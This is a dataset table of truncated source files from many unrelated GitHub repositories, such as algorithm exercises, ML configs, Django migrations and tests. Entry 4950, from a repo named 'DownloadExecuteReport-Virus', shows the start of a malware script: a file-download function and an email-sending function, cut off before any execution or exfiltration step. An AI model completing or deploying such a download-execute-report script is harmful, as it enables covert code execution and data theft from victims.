max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
coding patterns/two pointers/sortedarr_square.py | mkoryor/Python | 0 | 4900 | <filename>coding patterns/two pointers/sortedarr_square.py
"""
[E] Given a sorted array, create a new array containing squares of all the
number of the input array in the sorted order.
Input: [-2, -1, 0, 2, 3]
Output: [0, 1, 4, 4, 9]
"""
# Time: O(N) Space: O(n)
def make_squares(arr):
n = len(arr)
squares =... | 3.890625 | 4 |
modules/evaluate/evaluate_step.py | Azure/aml-object-classification-pipeline | 5 | 4901 | import os
from azureml.pipeline.steps import PythonScriptStep
from azureml.core.runconfig import RunConfiguration
from azureml.core.conda_dependencies import CondaDependencies
from azureml.pipeline.core import PipelineData
from azureml.pipeline.core import PipelineParameter
from azureml.pipeline.steps import EstimatorS... | 2.359375 | 2 |
configs/mobilenet_cfbi.py | yoxu515/CFBI | 312 | 4902 | import torch
import argparse
import os
import sys
import cv2
import time
class Configuration():
def __init__(self):
self.EXP_NAME = 'mobilenetv2_cfbi'
self.DIR_ROOT = './'
self.DIR_DATA = os.path.join(self.DIR_ROOT, 'datasets')
self.DIR_DAVIS = os.path.join(self.DIR_DATA, 'DAVIS'... | 2.0625 | 2 |
js/matrixjs/matrix_compile.py | kennytilton/ConnectJS | 7 | 4903 | <gh_stars>1-10
#!/usr/bin/python2.4
import httplib, urllib, sys
# Define the parameters for the POST request and encode them in
# a URL-safe format.
params = urllib.urlencode([
#('js_code', sys.argv[1]),
('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Matrix/Cells.j... | 2.546875 | 3 |
tensorflow/python/util/tf_should_use_test.py | npow/tensorflow | 0 | 4904 | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 1.734375 | 2 |
tools/jdk/local_java_repository.bzl | loongarch64/bazel | 16,989 | 4905 | <reponame>loongarch64/bazel
# Copyright 2020 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unle... | 1.960938 | 2 |
corehq/apps/fixtures/resources/v0_1.py | SEL-Columbia/commcare-hq | 1 | 4906 | from couchdbkit import ResourceNotFound
from tastypie import fields as tp_f
from corehq.apps.api.resources import JsonResource
from corehq.apps.api.resources.v0_1 import (
CustomResourceMeta,
RequirePermissionAuthentication,
)
from corehq.apps.api.util import get_object_or_not_exist
from corehq.apps.fixtures.mo... | 1.945313 | 2 |
tests/test_domain.py | broadinstitute/cert_manager_api | 0 | 4907 | # -*- coding: utf-8 -*-
"""Define the cert_manager.domain.Domain unit tests."""
# Don't warn about things that happen as that is part of unit testing
# pylint: disable=protected-access
# pylint: disable=no-member
import json
from requests.exceptions import HTTPError
from testtools import TestCase
import responses
f... | 2.75 | 3 |
texts.py | ProtKsen/pgame | 2 | 4908 | <reponame>ProtKsen/pgame
"""Text parts."""
SEPARATOR = '----------------------------------'
CONT_GAME = 'enter для продолжения игры'
GREETING = 'Добро пожаловать в игру ''Сундук сокровищ''!\n' \
'Попробуй себя в роли капитана корабля, собери ' \
'команду и достань все сокровища!'
NAME_QUESTION ... | 2.328125 | 2 |
api/migrations/0001_initial.py | alerin345/Instagram-React | 0 | 4909 | <gh_stars>0
# Generated by Django 3.1.3 on 2021-01-07 00:42
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(... | 1.734375 | 2 |
fastapi_router_controller/lib/controller_loader.py | KiraPC/fastapi-router-controller | 21 | 4910 | <reponame>KiraPC/fastapi-router-controller
import os
import importlib
class ControllerLoader:
"""
The ControllerLoader class.
"""
@staticmethod
def load(directory, package):
"""
It is an utility to load automatically all the python
module presents on a given directory
... | 3.0625 | 3 |
app/mod_ecomm/controllers.py | VikrantReddy/Instagram2Shop | 0 | 4911 | from flask import Blueprint, Flask, send_from_directory
from werkzeug.security import check_password_hash, generate_password_hash
from app import db
from app.mod_auth.forms import LoginForm
from app.mod_auth.models import User
mod_ecomm = Blueprint('products', __name__, url_prefix='/products',
... | 1.609375 | 2 |
dagr_selenium/crawl_watchlist.py | phillmac/dagr_selenium | 0 | 4912 | from .functions import monitor_watchlist_action, manager
with manager.get_dagr():
monitor_watchlist_action()
| 1.25 | 1 |
zenslackchat/eventsview.py | uktrade/zenslackchat | 2 | 4913 | import pprint
import logging
from django.conf import settings
from rest_framework import status
from rest_framework.views import APIView
from rest_framework.response import Response
from zenslackchat.message import handler
from zenslackchat.models import SlackApp
from zenslackchat.models import ZendeskApp
class Eve... | 2.140625 | 2 |
sdv/docker/sdvstate/internal/validator/airship/compute_check.py | opnfv/cirv-sdv | 2 | 4914 | <gh_stars>1-10
# Copyright 2020 University Of Delhi.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | 2.09375 | 2 |
production/pygsl-0.9.5/testing/__init__.py | juhnowski/FishingRod | 1 | 4915 | """
Here you find either new implemented modules or alternate implementations
of already modules. This directory is intended to have a second implementation
beside the main implementation to have a discussion which implementation to
favor on the long run.
"""
| 1.40625 | 1 |
PythonServer/UnitTestCasesForWebSocket.py | Cyberlightning/2D-3DCapture | 2 | 4916 | '''
Created on Mar 6, 2014
@author: tharanga
'''
import unittest
from time import sleep
import EventService as es
from EventService import WebSocketServer as ws
from EventService import EventManager as em
import socket
from base64 import b64encode
import struct
import MySQLdb
import json
import EventService
import fl... | 2.125 | 2 |
src/tests/client_side/test_main.py | JulianSobott/OpenDrive | 1 | 4917 | <filename>src/tests/client_side/test_main.py
import os
import threading
import time
import unittest
from OpenDrive.client_side import file_changes_json as c_json
from OpenDrive.client_side import interface
from OpenDrive.client_side import main
from OpenDrive.client_side import paths as client_paths
from OpenDrive.ser... | 2.25 | 2 |
site-packages/skimage/io/tests/test_io.py | oz90210/Pyto | 0 | 4918 | <gh_stars>0
import os
import numpy as np
from skimage import io, data_dir
from skimage._shared import testing
from skimage._shared.testing import assert_array_equal
one_by_one_jpeg = (
b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01'
b'\x00\x01\x00\x00\xff\xdb\x00C\x00\x03\x02\x02\x02\x02'
b'\x02... | 1.898438 | 2 |
tests/core/feature_extraction/test_galaxyProcessor.py | EmilioCC/gti770-student-framework | 0 | 4919 | <reponame>EmilioCC/gti770-student-framework
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import numpy as np
from unittest import TestCase
from core.feature_extraction.galaxy.galaxy_processor import GalaxyProcessor
from commons.helpers.dataset.strategies.galaxy_dataset.label_strategy import GalaxyDataSetLabe... | 2.375 | 2 |
country/management/commands/populate_countries.py | okchaty/django-country | 1 | 4920 | from django.conf import settings
from django.core.management import call_command
from django.core.management.base import BaseCommand
from os import path
class Command(BaseCommand):
help = "Populates data"
def handle(self, *args, **options):
fixture_path = path.join(path.dirname(
path.dirn... | 1.867188 | 2 |
gmso/formats/formats_registry.py | chrisiacovella/gmso | 20 | 4921 | """Registry utilities to handle formats for gmso Topology."""
class UnsupportedFileFormatError(Exception):
"""Exception to be raised whenever the file loading or saving is not supported."""
class Registry:
"""A registry to incorporate a callable with a file extension."""
def __init__(self):
sel... | 2.578125 | 3 |
formatter.py | Staist/Python-Text-Formatter | 0 | 4922 | dosyaadi = input("Enter file name: ")
dosyaadi = str(dosyaadi + ".txt")
with open(dosyaadi, 'r') as file :
dosyaicerigi = file.read()
silinecek = str(input("Enter the text that you wish to delete: "))
dosyaicerigi = dosyaicerigi.replace(silinecek, '')
with open(dosyaadi, 'w') as file:
file.write(dosyai... | 3.765625 | 4 |
covid19/classification/helpers.py | salvacarrion/mltests | 0 | 4923 | import tensorflow as tf
@tf.function
def BinaryAccuracy_Infiltrates(y_true, y_pred, i=0):
return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i])
@tf.function
def BinaryAccuracy_Pneumonia(y_true, y_pred, i=1):
return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i])
@tf.function
def... | 2.375 | 2 |
null/twitter/twmedia-dl.py | mikoim/funstuff | 0 | 4924 | <reponame>mikoim/funstuff
import re
import json
import time
import sys
import httplib2
from twitter import *
import magic
class TwitterMediaDL:
http = httplib2.Http(".cache")
baseUrl = "https://twitter.com"
consumer_key = ""
consumer_secret = ""
access_token_key = ""
access_token_secret = ""... | 2.75 | 3 |
tensorflow/contrib/metrics/__init__.py | DEVESHTARASIA/tensorflow | 384 | 4925 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 1.546875 | 2 |
girder/models/group.py | scottwittenburg/girder | 0 | 4926 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
###############################################################################
# Copyright 2013 Kitware Inc.
#
# Licensed under the Apache License, Version 2.0 ( the "License" );
# you may not use this file except in compliance with the License.
# You may obtain a cop... | 1.859375 | 2 |
docker/docker-puppet.py | mail2nsrajesh/tripleo-heat-templates | 0 | 4927 | #!/usr/bin/env python
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | 2.015625 | 2 |
main.py | acitv/plugin.video.aci | 0 | 4928 | # -*- coding: utf-8 -*-
import sys
import urllib
import urlparse
# import xbmc
import xbmcgui
import xbmcplugin
import aci
# Get the plugin url in plugin:// notation.
_url = sys.argv[0]
# Get the plugin handle as an integer number.
_handle = int(sys.argv[1])
# Get an instance of ACI.
ATV = aci.ACI()
ATV.load_aci()... | 3.015625 | 3 |
coremltools/converters/mil/frontend/tensorflow/converter.py | VadimLevin/coremltools | 3 | 4929 | <filename>coremltools/converters/mil/frontend/tensorflow/converter.py
# Copyright (c) 2020, Apple Inc. All rights reserved.
#
# Use of this source code is governed by a BSD-3-clause license that can be
# found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause
import logging
from coremltools... | 1.8125 | 2 |
pylinkcheck.py | clayball/pylinkcheck | 0 | 4930 | <reponame>clayball/pylinkcheck<filename>pylinkcheck.py
#!/usr/bin/env python
# Copyright (c) 2016 <NAME>
#
# A Python-based link checker.
#
# Usage: pylinkcheck.py -r https://www.example.com
#
# By default, we can spider and check all of the links found at the URL's
# domain. For example, a check of https://foo.exa... | 2.734375 | 3 |
moto/dynamodb2/parsing/expressions.py | orenmazor/moto | 1 | 4931 | <reponame>orenmazor/moto
import logging
from abc import abstractmethod
import abc
import six
from collections import deque
from moto.dynamodb2.parsing.ast_nodes import (
UpdateExpression,
UpdateExpressionSetClause,
UpdateExpressionSetActions,
UpdateExpressionSetAction,
UpdateExpressionRemoveActions... | 2.484375 | 2 |
dftbplus_step/tk_optimization.py | molssi-seamm/dftbplus_step | 1 | 4932 | # -*- coding: utf-8 -*-
"""The graphical part of a DFTB+ Optimization node"""
import logging
import tkinter as tk
import tkinter.ttk as ttk
import dftbplus_step
logger = logging.getLogger(__name__)
class TkOptimization(dftbplus_step.TkEnergy):
def __init__(
self,
tk_flowchart=None,
nod... | 2.703125 | 3 |
console.py | aplneto/redes_projeto | 1 | 4933 | <filename>console.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Módulo de configuração dos consoles
"""
from Crypto.PublicKey import RSA
import socket
import os
import base64
class Console(object):
"""Superclasse Console
Classe base para os terminais de cliente e servidor.
... | 3.125 | 3 |
sandbox/settings.py | OmenApps/marion | 0 | 4934 | <filename>sandbox/settings.py<gh_stars>0
"""
Django settings for marion project.
"""
from pathlib import Path
from tempfile import mkdtemp
from configurations import Configuration, values
BASE_DIR = Path(__file__).parent.resolve()
DATA_DIR = Path("/data")
# pylint: disable=no-init
class Base(Configuration):
""... | 2.125 | 2 |
skywalking/client/grpc.py | cooolr/skywalking-python | 0 | 4935 | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... | 1.65625 | 2 |
coingate/migrations/0004_auto_20200207_1959.py | glitzybunny/coingate_sandbox_payment | 2 | 4936 | # Generated by Django 3.0.3 on 2020-02-07 19:59
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('coingate', '0003_auto_20200207_1513'),
]
operations = [
migrations.RemoveField(
model_name='payment',
name='token',
... | 1.648438 | 2 |
space_trace/__init__.py | SpaceTeam/space-event-trace | 2 | 4937 | import toml
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__, instance_relative_config=True)
app.config.from_file("config.toml", load=toml.load)
db = SQLAlchemy(app)
@app.before_first_request
def create_table():
db.create_all()
from space_trace import views, cli
| 2.3125 | 2 |
ng/distributions/Distribution.py | forons/noise-generator | 0 | 4938 | <filename>ng/distributions/Distribution.py<gh_stars>0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
from enum import Enum
from .NormalDist import NormalDist
from .UniformDist import UniformDist
class Distribution(Enum):
UNIFORM = 0
GAUSSIAN = 1
POISSON = 2
@staticmethod
def determ... | 2.921875 | 3 |
test/rename.py | Riteme/test | 3 | 4939 | import os
import sys
filename = sys.argv[1]
from_id = int(sys.argv[2])
to_id = int(sys.argv[2])
for i in range(from_id, to_id + 1):
sys.system("mv {0}.in{1} {0}{1}.in".format(filename, i))
sys.system("mv {0}.out{1} {0}{1}.out".format(filename, i))
| 2.609375 | 3 |
TransitPass/urls.py | Savior-19/Savior19 | 0 | 4940 | <gh_stars>0
from django.urls import path
from . import views
urlpatterns = [
path('apply/', views.FillPassApplication, name='transit-pass-application-form'),
path('application-details/<int:appln_id>', views.DisplayApplicationToken, name='application-details'),
path('view-application-list/', views.Displa... | 1.625 | 2 |
dash_docs/chapters/dash_core_components/Textarea/examples/textarea_basic.py | kozo2/dash-docs | 1 | 4941 | import dash
from dash.dependencies import Input, Output
import dash_html_components as html
import dash_core_components as dcc
app = dash.Dash(__name__)
app.layout = html.Div([
dcc.Textarea(
id='textarea-example',
value='Textarea content initialized\nwith multiple lines of text',
style={'w... | 2.546875 | 3 |
tests/test_wrapped_driver.py | balexander85/wrapped_driver | 0 | 4942 | import pytest
from selenium.common.exceptions import WebDriverException
from wrapped_driver import WrappedDriver
def test_empty_chromedriver_path():
"""Assert error is raised if no chromedriver path is used"""
with pytest.raises(WebDriverException):
WrappedDriver(executable_path="", headless=True)
... | 2.65625 | 3 |
eth/vm/forks/petersburg/blocks.py | ggs134/py-evm | 1,641 | 4943 | <reponame>ggs134/py-evm
from rlp.sedes import (
CountableList,
)
from eth.rlp.headers import (
BlockHeader,
)
from eth.vm.forks.byzantium.blocks import (
ByzantiumBlock,
)
from .transactions import (
PetersburgTransaction,
)
class PetersburgBlock(ByzantiumBlock):
transaction_builder = PetersburgT... | 1.789063 | 2 |
tests/runner.py | crnbaker/MONAI | 1 | 4944 | <reponame>crnbaker/MONAI
# Copyright 2020 MONAI Consortium
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law o... | 2.453125 | 2 |
venv/Lib/site-packages/pandas/core/array_algos/transforms.py | arnoyu-hub/COMP0016miemie | 0 | 4945 | """
transforms.py is for shape-preserving functions.
"""
import numpy as np
def shift(values: np.ndarray, periods: int, axis: int, fill_value) -> np.ndarray:
new_values = values
if periods == 0 or values.size == 0:
return new_values.copy()
# make sure array sent to np.roll is c_con... | 3.046875 | 3 |
students/models/group.py | Stanislav-Rybonka/studentsdb | 1 | 4946 | <filename>students/models/group.py
from __future__ import unicode_literals
from django.db import models
from django.utils.translation import ugettext as _
class Group(models.Model):
"""
Group model
"""
title = models.CharField(max_length=256, blank=False, verbose_name=_('Name'))
leader = models.... | 2.296875 | 2 |
frontegg/baseConfig/identity_mixin.py | pinikeizman/python-sdk | 0 | 4947 | from abc import ABCMeta, abstractmethod
from frontegg.helpers.frontegg_urls import frontegg_urls
import typing
import jwt
import requests
from frontegg.helpers.logger import logger
from jwt import InvalidTokenError
class IdentityClientMixin(metaclass=ABCMeta):
__publicKey = None
@property
@abstractmethod... | 2.1875 | 2 |
splunk_sdk/action/v1beta2/gen_action_service_api.py | ianlee4/splunk-cloud-sdk-python | 12 | 4948 | <reponame>ianlee4/splunk-cloud-sdk-python
# coding: utf-8
# Copyright © 2021 Splunk, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"): you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# [http://www.apache.org/licenses/LICENSE-2.0]
#
#... | 1.75 | 2 |
src/brewlog/home/__init__.py | zgoda/brewlog | 3 | 4949 | <filename>src/brewlog/home/__init__.py
from flask import Blueprint
home_bp = Blueprint('home', __name__)
from . import views # noqa
| 1.429688 | 1 |
main.py | TheRavehorn/DownloadExecuteReport-Virus | 0 | 4950 | #!/usr/bin/env python3
import requests
import subprocess
import smtplib
import re
import os
import tempfile
def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as f:
f.write(get_response.content)
def send_mail(email, password, message):
... | 2.84375 | 3 |
SmartAPI/rdf/LinkedList.py | Kreastr/SmartAPI-HEILA | 0 | 4951 | from SmartAPI.rdf.List import List
class LinkedList(List):
def __init__(self):
List.__init__(self)
| 1.945313 | 2 |
frog/views/gallery.py | dreamhaven/Frog | 3 | 4952 | ##################################################################################################
# Copyright (c) 2012 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restri... | 0.992188 | 1 |
pirates/speedchat/PSpeedChatQuestMenu.py | itsyaboyrocket/pirates | 3 | 4953 | <reponame>itsyaboyrocket/pirates
# uncompyle6 version 3.2.0
# Python bytecode 2.4 (62061)
# Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)]
# Embedded file name: pirates.speedchat.PSpeedChatQuestMenu
from otp.speedchat.SCMenu import SCMenu
from otp.speedchat.SCTerm... | 2.1875 | 2 |
spotifyembed/spotifyembed.py | R3XET/coffee-cogs | 0 | 4954 | # from redbot.core import Config
from redbot.core import Config, commands, checks
import asyncio
import aiohttp
import discord
from discord import Webhook, AsyncWebhookAdapter
import re
class Spotifyembed(commands.Cog):
"""Automatically send a reply to Spotify links with a link to the embed preview. Convenient for... | 2.59375 | 3 |
rlcard/utils/seeding.py | AdrianP-/rlcard | 0 | 4955 | <reponame>AdrianP-/rlcard
#The MIT License
#
#Copyright (c) 2020 DATA Lab at Texas A&M University
#Copyright (c) 2016 OpenAI (https://openai.com)
#
#Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software ... | 2.28125 | 2 |
ops/transforms.py | ex4sperans/freesound-classification | 55 | 4956 | import random
import math
from functools import partial
import json
import pysndfx
import librosa
import numpy as np
import torch
from ops.audio import (
read_audio, compute_stft, trim_audio, mix_audio_and_labels,
shuffle_audio, cutout
)
SAMPLE_RATE = 44100
class Augmentation:
"""A base class for data... | 2.421875 | 2 |
figures/pp.py | mathematicalmichael/thesis | 6 | 4957 | #!/usr/env/bin python
import os
# os.environ['OMP_NUM_THREADS'] = '1'
from newpoisson import poisson
import numpy as np
from fenics import set_log_level, File, RectangleMesh, Point
mesh = RectangleMesh(Point(0,0), Point(1,1), 36, 36)
# comm = mesh.mpi_comm()
set_log_level(40) # ERROR=40
# from mpi4py import MPI
# com... | 2.4375 | 2 |
additions/irreducible_check.py | kluhan/seraphim | 0 | 4958 | """
Irreduzibilitätskriterien
Implementiert wurden das Eisenstein- und das Perronkriterium
Quellen:
https://rms.unibuc.ro/bulletin/pdf/53-3/perron.pdf
http://math-www.uni-paderborn.de/~chris/Index33/V/par5.pdf
Übergeben werden Polynome vom Typ Polynomial, keine direkten Listen von Koeff... | 2.890625 | 3 |
numba/stencils/stencil.py | auderson/numba | 6,620 | 4959 | <reponame>auderson/numba<filename>numba/stencils/stencil.py<gh_stars>1000+
#
# Copyright (c) 2017 Intel Corporation
# SPDX-License-Identifier: BSD-2-Clause
#
import copy
import numpy as np
from llvmlite import ir as lir
from numba.core import types, typing, utils, ir, config, ir_utils, registry
from numba.core.typin... | 2.09375 | 2 |
examples/bicycle/bicycle_dynamics.py | lujieyang/irs_lqr | 6 | 4960 | <gh_stars>1-10
import numpy as np
import pydrake.symbolic as ps
import torch
import time
from irs_lqr.dynamical_system import DynamicalSystem
class BicycleDynamics(DynamicalSystem):
def __init__(self, h):
super().__init__()
"""
x = [x pos, y pos, heading, speed, steering_angle]
u =... | 2.875 | 3 |
apps/proportions.py | harmkenn/PST_Deploy_Test | 0 | 4961 | import streamlit as st
import math
from scipy.stats import *
import pandas as pd
import numpy as np
from plotnine import *
def app():
# title of the app
st.subheader("Proportions")
st.sidebar.subheader("Proportion Settings")
prop_choice = st.sidebar.radio("",["One Proportion","Two Proportions"])
... | 3 | 3 |
integration/v2/test_service_instances.py | subhash12/cf-python-client | 47 | 4962 | <reponame>subhash12/cf-python-client<gh_stars>10-100
import logging
import unittest
from config_test import build_client_from_configuration
_logger = logging.getLogger(__name__)
class TestServiceInstances(unittest.TestCase):
def test_create_update_delete(self):
client = build_client_from_configuration()... | 2.25 | 2 |
runway/core/providers/__init__.py | troyready/runway | 134 | 4963 | """Runway providers."""
| 1.015625 | 1 |
samples/COVServer.py | noelli/bacpypes | 0 | 4964 | #!/usr/bin/env python
"""
This sample application is a server that supports COV notification services.
The console accepts commands that change the properties of an object that
triggers the notifications.
"""
import time
from threading import Thread
from bacpypes.debugging import bacpypes_debugging, ModuleLogger
fro... | 2.234375 | 2 |
server/glassface/facebookfriender/views.py | theopak/glassface | 1 | 4965 | import os
import platform
import subprocess
from django.http import HttpResponse
from django.conf import settings
def add(request, friend):
phantomjs = os.path.join(settings.PROJECT_PATH, 'glassface', 'facebookfriender', platform.system(), 'phantomjs')
script = os.path.join(settings.PROJECT_PATH, 'glassface'... | 1.96875 | 2 |
fancylit/modeling/yellowbrick_funcs.py | rubyruins/fancylit | 0 | 4966 | <gh_stars>0
import random
import numpy as np
import pandas as pd
import streamlit as st
from sklearn.naive_bayes import GaussianNB
from sklearn.model_selection import train_test_split
from yellowbrick.classifier import classification_report
from yellowbrick.target import FeatureCorrelation
from yellowbrick.target impor... | 3.453125 | 3 |
info/modules/admin/views.py | moonbria/test1 | 0 | 4967 | <reponame>moonbria/test1
from flask import request
import random
import re
from flask import current_app, jsonify
from flask import g
from flask import make_response
from flask import redirect
from flask import render_template
from flask import request
from flask import session
from flask import url_for
import time
fro... | 2.078125 | 2 |
src/predict_model.py | Swati17293/outlet-prediction | 1 | 4968 | #Answer Generation
import csv
import os
import numpy as np
from keras.models import *
from keras.models import Model
from keras.preprocessing import text
def load_model():
print('\nLoading model...')
# load json and create model
json_file = open('models/MODEL.json', 'r')
loaded_model_json = json_file... | 2.84375 | 3 |
tools/client.py | Alisa1114/yolov4-pytorch-1 | 0 | 4969 | # -*- coding: UTF-8 -*-
from socket import *
def client():
#實驗室電腦
# serverip='192.168.3.11'
# serverport=8887
#在自己電腦測試
serverip='127.0.0.1'
serverport=8888
client=socket(AF_INET,SOCK_STREAM)
client.connect((serverip,serverport))
address_file = open('tools/address.txt', 'r')
... | 3.03125 | 3 |
dapy/models/kuramoto_sivashinsky.py | hassaniqbal209/data-assimilation | 11 | 4970 | """Non-linear SPDE model on a periodic 1D spatial domain for laminar wave fronts.
Based on the Kuramato--Sivashinsky PDE model [1, 2] which exhibits spatio-temporally
chaotic dynamics.
References:
1. Kuramoto and Tsuzuki. Persistent propagation of concentration waves
in dissipative media far from thermal ... | 2.015625 | 2 |
setup.py | Lif3line/myo-helper | 0 | 4971 | <filename>setup.py
"""Utiltiy functions for working with Myo Armband data."""
from setuptools import setup, find_packages
setup(name='myo_helper',
version='0.1',
description='Utiltiy functions for working with Myo Armband data',
author='Lif3line',
author_email='<EMAIL>',
license='MIT',
... | 1.296875 | 1 |
demos/restful-users/index.py | karldoenitz/karlooper | 161 | 4972 | # -*-encoding:utf-8-*-
import os
from karlooper.web.application import Application
from karlooper.web.request import Request
class UsersHandler(Request):
def get(self):
return self.render("/user-page.html")
class UserInfoHandler(Request):
def post(self):
print(self.get_http_request_message(... | 2.59375 | 3 |
temporal_transforms.py | LijiangLong/3D-ResNets-PyTorch | 0 | 4973 | import random
import math
class LoopPadding(object):
def __init__(self, size):
self.size = size
def __call__(self, frame_indices):
out = frame_indices
for index in out:
if len(out) >= self.size:
break
out.append(index)
return out
cl... | 3.28125 | 3 |
cli/waiter/subcommands/kill.py | geofft/waiter | 0 | 4974 | from waiter.action import process_kill_request
from waiter.util import guard_no_cluster, check_positive
def kill(clusters, args, _, __):
"""Kills the service(s) using the given token name."""
guard_no_cluster(clusters)
token_name_or_service_id = args.get('token-or-service-id')
is_service_id = args.get... | 2.703125 | 3 |
a2t/src/a2t.py | syeda-khurrath/fabric8-analytics-common | 0 | 4975 | <gh_stars>0
"""The main module of the Analytics API Load Tests tool.
Copyright (c) 2019 Red Hat Inc.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your opti... | 2.046875 | 2 |
riscv_ctg/ctg.py | Giri2801/riscv-ctg | 0 | 4976 | # See LICENSE.incore file for details
import os,re
import multiprocessing as mp
import time
import shutil
from riscv_ctg.log import logger
import riscv_ctg.utils as utils
import riscv_ctg.constants as const
from riscv_isac.cgf_normalize import expand_cgf
from riscv_ctg.generator import Generator
from math import *
fr... | 1.898438 | 2 |
Back-End/Python/timers/clock_named_tuple.py | ASHISHKUMAR2411/Programming-CookBook | 25 | 4977 | <filename>Back-End/Python/timers/clock_named_tuple.py
from collections import namedtuple
MainTimer = namedtuple('MainTimer', 'new_time_joined, end_period, new_weekday, days')
def add_time(start, duration, start_weekday=None):
weekdays = [
'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday',
... | 3.25 | 3 |
mlsurvey/visualize/__init__.py | jlaumonier/mlsurvey | 0 | 4978 | from .analyze_logs import AnalyzeLogs
from .search_interface import SearchInterface
from .detail_interface import DetailInterface
from .user_interface import UserInterface
from .visualize_log_detail import VisualizeLogDetail
| 1.039063 | 1 |
stanford/sms-tools/lectures/02-DFT/plots-code/idft.py | phunc20/dsp | 1 | 4979 | import matplotlib.pyplot as plt
import numpy as np
import sys
sys.path.append('../../../software/models/')
import dftModel as DFT
import math
k0 = 8.5
N = 64
w = np.ones(N)
x = np.cos(2*np.pi*k0/N*np.arange(-N/2,N/2))
mX, pX = DFT.dftAnal(x, w, N)
y = DFT.dftSynth(mX, pX, N)
plt.figure(1, figsize=(9.5, 5))
plt.subpl... | 2.25 | 2 |
setup.py | jerzydziewierz/typobs | 0 | 4980 | <gh_stars>0
# setup.py as described in:
# https://stackoverflow.com/questions/27494758/how-do-i-make-a-python-script-executable
# to install on your system, run:
# > pip install -e .
from setuptools import setup, find_packages
setup(
name='typobs',
version='0.0.3',
entry_points={
'console_scripts':... | 1.953125 | 2 |
tests/fixtures.py | ehelms/system-baseline-backend | 0 | 4981 | """
decoded AUTH_HEADER (newlines added for readability):
{
"identity": {
"account_number": "1234",
"internal": {
"org_id": "5678"
},
"type": "User",
"user": {
"email": "<EMAIL>",
"first_name": "Firstname",
"is_active": true,
... | 1.921875 | 2 |
2021-02-03/2.py | Elfenreigen/MCM-2021-C-SJTU-Test | 1 | 4982 | <reponame>Elfenreigen/MCM-2021-C-SJTU-Test
#####Time Flow Simulation######
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from datetime import timedelta
import datetime
import csv
data=pd.read_excel('CF66-all.xlsx')
data.sort_values(by=['WBL_AUD_DT'],ascending=True,inplace=True)
or_da... | 2.296875 | 2 |
tests/test_selection.py | qrebjock/fanok | 0 | 4983 | import pytest
import numpy as np
from fanok.selection import adaptive_significance_threshold
@pytest.mark.parametrize(
"w, q, offset, expected",
[
([1, 2, 3, 4, 5], 0.1, 0, 1),
([-1, 2, -3, 4, 5], 0.1, 0, 4),
([-3, -2, -1, 0, 1, 2, 3], 0.1, 0, np.inf),
([-3, -2, -1, 0, 1, 2, ... | 2.5625 | 3 |
unitcap/unit_cap.py | fintelia/habitationi | 1 | 4984 | <reponame>fintelia/habitationi
#!/usr/bin/python
# Copyright 2019 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | 2.21875 | 2 |
matrix/__init__.py | AbhiK002/Matrix | 2 | 4985 | <filename>matrix/__init__.py
from .main import Matrix
| 0.949219 | 1 |
samples/cmk/test.py | jasstionzyf/Mask_RCNN | 0 | 4986 | <filename>samples/cmk/test.py
import os
import sys
import json
import datetime
import numpy as np
import glob
import skimage
from PIL import Image as pil_image
import cv2
import cv2
def locationToMask(locations=None,height=None,width=None):
